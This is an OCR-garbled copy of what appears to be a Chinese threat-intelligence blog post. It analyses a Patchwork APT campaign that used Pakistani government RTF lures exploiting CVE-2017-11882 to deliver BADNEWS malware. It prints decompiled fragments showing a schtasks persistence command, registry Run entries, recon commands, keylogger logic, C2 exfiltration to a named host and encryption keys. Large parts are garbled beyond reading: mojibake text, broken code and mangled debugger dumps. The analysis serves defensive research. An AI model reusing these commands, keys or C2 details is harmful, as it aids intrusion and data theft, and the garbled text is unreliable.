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LABOUR & HUMAN RESOURCE DEPARTMENT -

] i
. GOVERNMENT OF THE PUNJAB+

4
b o
NeSec P

1. Name:

2. Designation:

3. Department:

4. CNIC NO.:

5. Contact NO.:

B. Email ID:

7. Choice of Working Days: I

FEHMREEWT
X4 Reduction of working days.rtf
MD5 CB50C0650B32911DAEB17217AC258AFE
RN 1308543 bytes
B4 Lty &M
TEiH2
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s Mowirg,
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- a Directorate General Monitoring & Evaluation+
=
et

©
-

. E Planning & Development Board, Government of Punjab
SI

Personal Details of Officials Interested for absorption on Deputation Basis .

. Mame o

. Designation N

. Organization "
CHIC r
Contact Mo. 0

Email N
. Quialifications r
. Certificafions{if any) N

CO = N g L3 R

Interested officials may fil the form and revert back at the earlisst],

FEAREENT

X8 Recruitment of officials on deputation basis2.rtf
MD5 26991E42F4FA6DFAB84CFA886B4D51F0
RN 1194286 bytes

BEA L5 EEHE

ponaadlls:
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BN SCRYEBN E T CVE-2017-11882 R RAF (RS |, Bt fim& Office Y FA-R /A X 4wiE 25 2R A Ak TR
TR, INMEFTHERE shellcode,

ZHHP EE(N) UBSID) 1EHP) OW) ®E(H) [+] BB Tools BreakPoint-
Zx] [T s 1 efm[ t[wlhc[P]k]b]x]
88411648 ecx
edi,ecx
eax,ecx

EAX 00000030
: ECX

Em_!,edl EDX BO12F314
EU]..,[10C31.1[1] EBX 80688806
esi,edx B012F6FC

" BCX, 8012F198
nous

ecx,eax
ecx,
novs ’ EQNEDT32. 88411650
eax,[local.18] ES 8823 3 B(FFFFFFFF)
CcS 8818 3 B(FFFFFFFF)
E8 760670400 |call EQNEDT32.80451DES $S 0023 3 B(FFFFFFFF)
83C4 B4 add esp, DS 0023 3 B(FFFFFFFF)
E8 2EF90000 |call EQNEDT32.00420FA0 FS 66838 3 7FFDEBBB{4008)
. 66:8945 D4 mov word ptr ss:[ebp-8x2C],ax 6S 8808 NULL
eax-00000630
ecx=00808000 LastErr ERROR_SUCCESS (00606808)

8068686286 (HNO,NB,NE,n,NS,PE,GE,G)

585188EC
88|63 83 CO 7F
BE|BA FE CA 96
8012F188| BI9E389AD

E0 5F 30 60 E 0012F18C| DEADBEEF
00(00 08 2% 60 x4 90C390C3
00(00 08 24 60 5. 06436CH7 | EQNEDT32 . 00430047
0612F374 00/ 00 06 24 60 toho S, 0012F198| 0812F314

IRIRFI s fih A& B Eshellcode, 55—E&shellcodefl) 3= Z TNAE A @ T AL+ E 152155 — E&shellcodeflIiC i4
SNE , FPkiEE S " Eshellcode T,

XfHR EB(V) EED) EEEP) BEAM &0W) #EH) [+] PEERE Tools BreakPoint->
H

1efmlt]w/hfc[Pk[blx]
ebx,esp

cl, 00500500
ebx, 0012E389

short 8012F31A ¢ 8012F574

nov eax,

add eax, 90C396C3

add eax, 0012F7ES

sub esp, 0012F344
ecx

eax

ROV ecx,ecx ES 0023 O(FFFFFFFF)
BB BEBAFECA mov ebx, A CS B881B O(FFFFFFFF)
926 xchg eax,esi $S 0023 O(FFFFFFFF)
RD lods DS 8823 {if B(FFFFFFFF)
89E3 mov ebx,esp FS 0838 FFFDFBOO(4006)
B9 EFBEADDE nou ecx, GS 8808 NULL
c3

LastErr ERROR_SUCCESS (00000000)

90000202 (NO,NB,NE,A,NS,PD,GE,G)

Shellcode & 446 | 4 B R & B 17 EKaspersky F 1t F2avp.exes AvastF HFE AvastSvc.exe , H1E{E , M@
& cmd$i{Tshelldy4“/c schtasks /create /sc minute /mo 1 /tn WindowsUpdate /tr
C:\\ProgramData\\OneDrive.exe“,

rocess_Detection AB2(v3e, (int)Bv24[24]);
if ( —=1)

strepy((char *)vz4, "/c schtasks /create /sc minute /mo 1 /tn WindowsUpdate /tr C:\\ProgramData\\OneDrive.exe");
HIBYTE(v24[43]) = @;
*))v3e->LoadLibrarya;

strepy((che

strepy((char *
HIWORD(v25[3])

))v3a->GetProcaddress)(

X etk B shellcode EERPEL AR kM2’ , 3% H B A\ C:\ProgramData\OneDrive.exef2F5.

Page 4 of 11



https://ti.qianxin.com /blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait

15 | gqmemcpy((void *)(az + 2625), "MZI", 2);

16 12 = 'p\ek’;

7 = 'o\@r’';

1 = 'r\@g’;

1 = 'm\@a’;

2 = 'a\ed’;

2 = 'a\gt';

2 = "\\\ex';

2 = 'n\B0";

2 = 'Dhge’;

2 = 'iver’;

26 = "e\gv’';

2 = 'e\d.";

2 = 'e\dx’;

29 =8; // ¥ProgramData¥\OneDrive.exe
38 esult = (char *)((int (_ stdcall *)(int *, char *, int))al->ExpandEnvironmentStringsW)(vi2, w11, 52@);
31| if ( result )

32

33 if (a3 ==86)

34

35 v4 = al->CreateFileW + 5;

36 sub_7@8@();

37 _asm { jmp ebx }

38 T

39 vs = ({int (__stdcall *)(char *, int, int, _DWORD, int, int, _DWORD, int))al->CreateFileW)(
18

b REE MR RN EINEINFFA K , & Ja/5510neDrive.exef2/F , OneDrive.exef F35fR A BV E 2R
215 FIBADNEWS AL,

5k HKEY_CURRENT_L ftv

i WIN-S505AVO0J2LE

R % || &8 ESd] HiE
£ Policies ~ || ab] @tin REG_SZ HEFRSD)
£ RADAR [38] OneDrive REG_SZ CA\ProgramData\OneDrive.exe
o
- RunOnce

BADNEWSAL

BADNEWSA L E20164E8 B B IR A EIUR , AL RMALTE |, 0TAEE ZANTFIRA |, A)KIfEE
KIBADNEWSAK G B TAFIRAS, RIEAAFAD K RIESKRE , HAEME)H202245H22H , 3#8
BHTHE—IMBEENEL , B/REFRASY TECHNOLOGY LIMITED,

Drive.exe FEtE X | mrzseaes ? X | wlES X
M FSE SFES ze  ¥EES LemEs =1 =R B EEe EeEE
A i
HEFEEES. e
EEERE REEE EiETE W5
5Y TECHNOLOGY LIMITED  shal 7R Z 7
ey ENESOERT:
=5 [s¥ TECHNOLOGY LiMITED N —
L= [rfo@spechnoiogyce

>
HEES0) 2B PRI

T ESHEES. BSTTBRATIHE.

SBIERV)
R 5V TECHNOLOGY LIMITED
EE0)
HRE: Sectigo Public Code Signing CA R36
EERERE: Tk HigE
BRI 2022/3/31 B 2023/3/16
HEES(D)

SEHEB). WEEHI(S)

ZBADNEWSEFAGHEARSEENT -

X% OneDrive.exe

MD5 729DD4604FDA4B19146D8F33509A43F6

AR exe
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BB 6289FBBO0 (2022/5/22 17:00:32)

BADNEWSAK D & SC1A d WMIBERER 24 5] RS ME—HRRUUID |, BFARRREEN.

if ( CoInitializeEx(e, 8) < @ )
return funk_44EAEC;
if ( CoInitializeSecurity(e, -1, @, @, @, 3u, @, @, 8) >= 8 )

, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, IUnknown **))(*(_DWORD *)ppv + 12))(// webmprox

&pProxy);
Va9 = -1;
sub_483928(v11);
if (vi7>=8 )
{
V17 = CoSetProxyBlanket(pProxy, @xAu, @, @, 3u, 3u, @, ©);
if ( V17 5= 8 )

Bytestr, @, @x32u);
tr, "SELECT * FROM Win32_ComputerSystemProduct”);// {ERWMIFEFRFuuID

Bl i Tpowershel BRER RSt EKIFTE RS , FRLERE ARTYgjfdg.sysI{F.

memset(v, 8, sizeof(v9));
strepy( "powershell -nop -c Get-Service"); // WENMEY ERFERS

strepy( lame, "CreateFilew");

a1a[11] =
sub_41eB90((int)vs, (int)va);

vZ = unknown_libname_24(v5);

alloc(  CFADD_ (v2, 1) ? -1 : v2 + 1);
fer. o,

streat((char *)1pBuffe char *)sub_41D4C@(v5));
GetTempPathii(ex164u, Buffer);
*(_DWORD *)String2 = "\\\@\\';

T\@R";

r, String2);
lelame, @, sizeof(L
Name, “"Kernel32.d11"

riterile(hr ffer, strlen((const char *)1pBuffer), &lumberOfSytesiritten, @);

CloseHandle(hFile);

return std::string::wstring(us);

BT P A Ttasklistdn &R L ATEAEIZ THINHARS IR |, FRLERE ARTYgjfdg sysX .
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memset(Source, @, sizeof(Source));

strepy(Source, "tasklist”); /1 HAIETETAI#IE SR
mbstowcs( (wchar_t *)Dest, Source, &source[strlen(Source) + 1] - &source[1] + 1);
sub_418B98( (int)v6, (int)Source);

v23 = 83

v3 = unknown_libname_24(v6);

IpBuffer = malloc(_ CFADD_ (v3, 1) ? -1 : v3 + 1);

memset(lpEuffer, @, v3 + 1);

streat((char *)1pBuffer, (const char *)sub_4104C0(v6));
GetTempPathi(@x184u, Buffer);

*(_DWORD *)Stringd = "T\6R';

Vi3 = "g\ev’;
vi4 f\ej';
vis = 'g\ed’;
v16 s\e.’;
vi7 = 's\@y';
V18 = "\8';

vig = "\@';

1strcatW(Buffer, String?);
str:py(P ocName, “CreateFilew”);
V21 =

Name, @, sizeof(LibFileName));
leName, "Kernel32.dll");
LoadLibraryA(LibFileName);

ProcAddress = GetProcAddress(hMedule, ProcName);
hFile = (HANDLE)({int (_ stdcall *)(WCHAR =, int, int, DWORD, int, int, DWORD))ProcAddress)(
Buffer,
4,
1,
e,
3,
128,
e);
Number0fB tten
uriterile(irile, lpBuffe', strlen((const char *)1pBuffer), BlumberOfsytesi
Closetandle(hrile);

v23 =
return std: :string: ;vstring(v6);

I TE M RBARE Y B RS RN RIER , FFRELERE ARTYgjfdg.sys3 .

phkResult = 9;

RegOpenKeyExi(hKey, L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", @, @x20@19u, &phkResult);
RegQueryInfokeyW(phkResult, @, @, @, &cSubieys, &cbMaxSubkeylen, ©, 8, 0, @, @, 8);

hHeap = GetProcessteap();

HeapAlloc(hHeap, 8u, 2 * cbMaxsubkeylen + 2);

RegOpenKeyExii(hKey, L"Software\\Classes\\Installer\\Products”, 8, @x28@19u, &phkResult);
RegQueryInfoKeyw(phkResult, @, @, @, &Subkeys, &cbMaxSubKeylen, 8, @, @, @, @, @);

hHeap = GetProcessHeap();

1plame = (WCHAR *)HeapAlloc(hHeap, Bu, 2 * cbMaxSubKeylen + 2);

for ( dulndex = 83 dwIndex < cSubKeys; +dwIndex )

cbMaxsubKeyLen = 255;
if ( !RegEnumKeyExW(phkResult, dwIndex, lpName, &bMaxSubKeylen, @, @, 8, @) )
sub_419ED8( (int)lphanc);

}
sub_419DEB();

strepy(vis, “tryte”);
strlen(vis);
Number0fByteskritten = 83
sub_4811B8( (int)L"\n");
GetTempPathii(@x184u, Buffer);
*(_DWORD *)String2 = "\\\&\\';

v2e = 'T\@R';
V2l = 'g\ev’;
vaz = '"f\ej’;
v23 = 'g\ed’;
V24 = 's\e.';
v2s = "s\ey';
v26 = "\8'}
v27 = "\e';
v2E = "\@’

1strcatW(Buffer, String2);

[ Ja e 6 xE #idit dayspringdesk.xyz/wfgkl/cvrkaf/xkj/test.php & & 20 F FT7REIPOSTiE K

Request Head [Raw ] [Header Definitions]

FOST /wrgkl/cvrkaf/xkj/test. php HTTF/1.1
Cache
Pragma: no-cache
Client
User-Agent: Mozilaf5.0
ntity

Content-Length: 1533

Content-Type: application/x-www-form-urlencoded
Transport

Host: dayspringdesk.xyz

175004 GEHG-61 F0-0 40006

fame nZTDrRndXe/gyIZIBSZTpriHEI 14 50jS8pI4A mrB3n6umviLVDw ==
feat @
faize HUMTE=

x970nN3ACTDOA IVETHIHVEJSFN5RrZGNY48UNg 59Vp SO4mIlcDXHCPRS AdbDghcdyIMnbjBsocTd
EDOTFOD 30yX MNKDLItHWFSPfit Sel CxMxDignosGKC 2Vse6RICC ji30RgEms
JmSIBCAGHCZ9PpIn7FdgBSE LWC JeBmitimL CNIGeQZD /eTrK /BzyEnFy OiuYBvifAHAIEL frPah7e 8PPy
19+4zkGiallo 1anr dWEXOVNKQDOFUCEOsiaue 7Fr 72tIFW/ 3MOhC 72 4r6Mc ZenxBrsHjSvpTGx
LURZEKUGLOBY ICMXrkmTa kX1/r fBAEZD d2rzSGOYCMaZEPSfgTiosk2 OxkChaws

TAFS5}3Hg Y 3tTB3gjOUaM 172GIg5SAXMscfiPpOIUIVIC

MRedLurdrs0 1vACRUKHQCVCTrBKCpW2ZimM LAieX 0KsbKzgD/tEUd 1 ZKONPWO td
3y0YOhrdOcUeXfQg6Q0ZPMIShLIFAB K /f

YUZQLsINWEISGIUKHY ImgEknBxCAH22RIpyNSgTaqwpA 72/di7pAp 2Ed 1Y92gb YMSJIRY 79etZ [T 1geX
HHKgvivzy0SbyeBc4DGksIWD v 1yr IbCSWPRY pPMANARABZQHDS By IyAGS 15 T7ArSF
17CDGDOINE Skvnj45t/Ld3twa 1V 40IB2Ga455 7aljurghsCHh 25PBinmZquTRp 19011 730esyDsBDEDM
31dqzLrQaxdRsMah4LyMZOhyimSpzzicpg 1pY'v 176 1el2yB40 19Tk

Isping 0
Status Orline
found 1

A EE] , EIPOSTREF B MEFHNEIE. MDUEARARNE , EEHLUT A=K ITBADNEWS K

DEtTRE , FEEMAES-CBC-128IAN BHRITING |, R2EMEARERRCARIEITINE
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FREBUREEMRCARIEME G , A EFABase64 3t T4RAL. HAFRCARIAHINE R A"
abcdefghijklmnopqrstuvwxyzABCD1234567890987654gzasdfghjklqwertpppqqq11111111110000011111~,

_ R e e o _
Recipe O mE REER R S =R ]
R TOnrdXe/ gy 2 BE T HB 14450355p L4Asar3numy AVDaee
- © | +rETonRe/gyTISsTTpr e assojseplassaro3ncumiid
e LATINT~
abcdefghijklmnopgrstuvixyzABCD1234567890987654gz..
Base64 Latin1
output ot :80o

C:\Users\sam\AppData\Local\Tenp\RTVgjfdg

BWERIWEUE L12/a , SIEMEFERIINREICRIAE , HHICRK Eatapi.sysSLHHH.

while (1)
Sleep(@xAu);
for ( vKey = 8; vkey <= 190; ++vKey )
{
if ( GetAsyncKeyState(vkey) == OxFFFF8001 && !sub_48C1Be(vkey) )

memset_4628F@(v3, OxCOu);
sub_41BBEB(vE, 1);

vi3 = @;

memset (Buf

-, 8, sizeof(Buffer));

GetEnvironmentVariableA("Temp”, Buffer, @x64u);

vl = &vie;
while { *t+v1 )

*(_WORD *Jvl = 92;
gviz[strlen(vi2) + 1];

auemcpy(ve, 12, v2 < vi2);

sub_418808( (cha (int)Buffer, 8, 64);
if ( (unsigned ysub_a1886e((char *)us) )
{

V7 = (GetKeyState(20) & 1) != @;
if ( (GetKeyState(16) & @x1000) != 0 || (GetKeyState(160) & Ox1000) != @ || (GetKeyState(161) & ©x1000) != @ )
L N

)
sub_4204A8((int)va, vkey);

else

i
va = tolower((char)ukey);
sub_420440((int)ve, v4);

¥
sub_41BADB(v5);

}

Vi3 = -1;
Sub_480950((int)va);

58 JEr 3@ i nslookup AR X SMERIPHiALE .

6 = malloc(@x6du);
memset(ve, B, @x64u);
Buf2 = malloc(@x64u);
memset(EUT2, 8, @xGu);
strepy((char lookup myip.opendns.com resolverl.opendns.com”);
strepy((char "

memset(ul, B, @xédu);
v4 = sub_41D43@(v7, Buf2, @);

i = sub 41D438(v7, BufZ, v4 + 1) + 18; i < unknown_Libname 24(v7); ++i )
if ( *(_BYTE *)sub_s1D4E@(v7, i) != 1@ )
*((_BYTE *Jvl + v2++) = *(_BYTE *)sub 41D4EB(v7, i);

std::strings imstring(v7);
return vij

RAREREIP, P4, UUIDFEMEPHERRIEEC2,
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int)v244, "¥s%s¥s¥s¥sks¥s¥s”, (const char *)&v369, v294, v352, v1S8, w354, v255, v366, w149);

py(v357, “HttpSendRequestA");

ernetOpens)(v1s3, 8, 0, 8, 8);

ecl *)(HINTERNET, char *, int, DWORD, _DWORD, int, DWORD, _DWORD))InternetConnectA)(

net,
8byte_454E40,
20,

o,
e,
ED
e,
8);

BADNEWSALHC24 ¥ _FRPOSTIE KRG , C2¥IR AT IFELSF45 , FASKITHBADNEWS AL i f54:
e, 54 RTheeEan T -

g TheE

1 e SRR L%

2 BEFAERCHME L%

3 R

4 T E{TGJdbkds.exeFH 1T

5 IR RE U1

6 FERESICR 230 R Matapi.sysSLHFAERCANNE fF L 1%
7 LA ST

RERSIHT

FEENERLAPIENBE RSN |, WALEKFERA XIEHEEAAND |, ¥H B RN AR EER
XL AYEE ERTFXAY , AT BEASABRKHE |, RESHEABINEY ., RxBTERR
Shellcode-5 2z BT T{F A Ishellcode#EF T4 _EFH R,

Page 9 of 11



https://ti.qianxin.com /blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait

[ @) ey EW(V) WRO) ®AE) EA1) SOW) ZE(H) [+] GE=E Tools BreakPoint->

£ (U] 3] S 1] efmefw]h]c[P[k[blc].] gluoje|o)m @ EEDE
:::22:: nou ebx,esp 82 (FPU) AR 2T

EAx
ECx 3
0012F31D short 0812F31A E:: BE12E S UNICODE e
0012F31F nou eax,
| omara2t add eax, 90C390C3
0012F328 add eax, 0612F7EL
0012F327 sub esp, 0812F 34

ecx

8012F318
8012F31A

eax

XOP eCx,ecx ES 8823 32{i B(FFFFFFFF)
BB BEBAFECA mov ebx, C$ 601B FFFFFFFF)
96 xchg eax,esi SS 0023 O(FFFFFFFF)

AD lods DS 0023 O(FFFFFFFF)
0012F335| 80E3 moy ebx,esp FS 0038

8012F337| B9 EFBEADDE 65 9088
8012F33C| G

@ x4m =BV O B4 EOMW) ) [+] GRS Took EreakPoint->
(%6 24 x] »lu] & 3] »)] =i 1] e[mlt]wlh]c[P[k[bl].[s] ElmE 2]

= 22 < .

% 00000000

ES 0023 32{5 O(FFFFFFFF)
B(FFFFFFFF)
O(FFFFFFFF)
O(FFFFFFFF)
FS 0038 32{7 7FFDFOOOCFFF)
GS 0000 NULL

BB BEBAFECA

96

ab

89E3

B9 EFBEADDE
8012F33C]) €3

HORAEREBATH | BB S (S FABANDEWS KBTI | HRBAR, MG TRREHRI—
SR T —BBR | DU ANER BB B O M S RIS | TIA IR
BANDEWSASFRTRE T SFMOA |, JAL T MADERMAE | FECR aiEM RS 0 &

H&.

| CA\Users\sam\AppData\Local\Temp\atapi.sys - Notepad++ [Administrator]

SR WEBE) BTG WEV #BN ESL BEM IR0 =M OETROBEEFEP) S0Ow) ?

=) ey ] %« BEIEIEERELS =8 E:f
H atapi sysd‘

key testl
key test2

BIEFEANS , TUKAREICRSEEHENS , WRIFNSKI T X EZEEENTE., FRIHBRK
FEAR_ BRI AEENEIBH &R , o] WA ELA LAY B AR A TIE R RIER S SARER,

hore", “city": "lahore",
duction of working days.rtf", 9 ": "Recruitment of officials on deputation basis2.rtf",

’
"46e6f09a", a

T " =,

/05/25, 87:03:21 UTC" i g o /05/25, 88:49:10 UTC"

Sk

MR R — M KIERAR , ARHRSBAFRE , ARERSHALEARRE AT L IREN
AP , RMSFFEE R GRS E. kst UE R G BRLEFIERES
Z, RBERENBERMAPTHIK.

SR VAR A NS R IBtX | EREMNBHETARA. Bt , ArR(ELRRE AR K
R DIIFTIFREE S ZRR ARG | T REPITRAIRRBMENE | RE1T5 KR
RKEH , REEIEEABRIZRKIRNAPP, HEIRNEMEEM , ERREFNT.
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